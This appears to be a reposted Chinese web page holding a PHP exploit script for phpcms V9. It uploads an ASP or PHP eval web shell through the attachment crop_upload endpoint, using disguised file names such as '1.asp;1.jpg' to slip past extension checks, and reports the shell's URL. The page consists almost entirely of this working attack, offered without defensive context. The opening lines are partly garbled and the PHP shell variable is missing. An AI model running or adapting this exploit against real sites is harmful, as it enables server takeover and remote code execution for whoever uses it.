phpcms V9 getshell exp

来源:互联网 发布:提升淘宝店铺权重 编辑:程序博客网 时间:2024/06/04 19:35

转自法克
http://xx.f4ck.net/thread-5248-1-1.html

  1. #!usr/bin/php -w
  2. ';
  3. $aspshell='<%eval request("'.$pass.'")%>';
  4.  
  5. if($js==1){
  6. $file="1.asp;1.jpg";
  7. $ret=GetShell
  8.  
  9. ($url,$aspshell,$file);
  10. }else if($js==2){
  11. $file="1.php;1.jpg";
  12. $ret=GetShell
  13.  
  14. ($url,$phpshell,$file);
  15. }else if($js==3){
  16. $file="1.php.jpg";
  17. $ret=GetShell($url,$phpshell,$file);
  18. }else{
  19. print_r('没有选择脚本类型');
  20. }
  21. $pattern = "|http:\/\/[^,]+?\.jpg,?|U";
  22. preg_match_all($pattern,
  23.  
  24. $ret, $matches);
  25. if($matches[0][0]){
  26. echo "\r\nurl地址:".$matches[0][0];
  27. }else{
  28. echo "\r\n没得
  29.  
  30. 到!";
  31. }
  32.  
  33. function GetShell($url,$shell,$js){
  34. $content =$shell;
  35. $data = "POST /index.php?
  36.  
  37. m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";
  38.  
  39. $data .= "Host: ".$url."\r\n";
  40. $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1)
  41.  
  42. Gecko/20100101 Firefox/5.0.1\r\n";
  43. $data .= "Accept:
  44.  
  45. text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  46. $data .= "Accept-Language: zh-
  47.  
  48. cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  49. $data .= "Connection: close\r\n";
  50. $data .= "Content-Length:
  51.  
  52. ".strlen($content)."\r\n\r\n";
  53. $data .= $content."\r\n";
  54. //echo $data;
  55. $ock=fsockopen
  56.  
  57. ($url,80);
  58. if (!$ock) {
  59. echo " No response from ".$url."\n";
  60. }
  61. fwrite
  62.  
  63. ($ock,$data);
  64. $resp = '';
  65. while (!feof($ock)) {
  66. $resp.=fread($ock, 1024);
  67.  
  68. }
  69. return $resp;
  70. }
  71.  
  72.  
  73. ?>
原创粉丝点击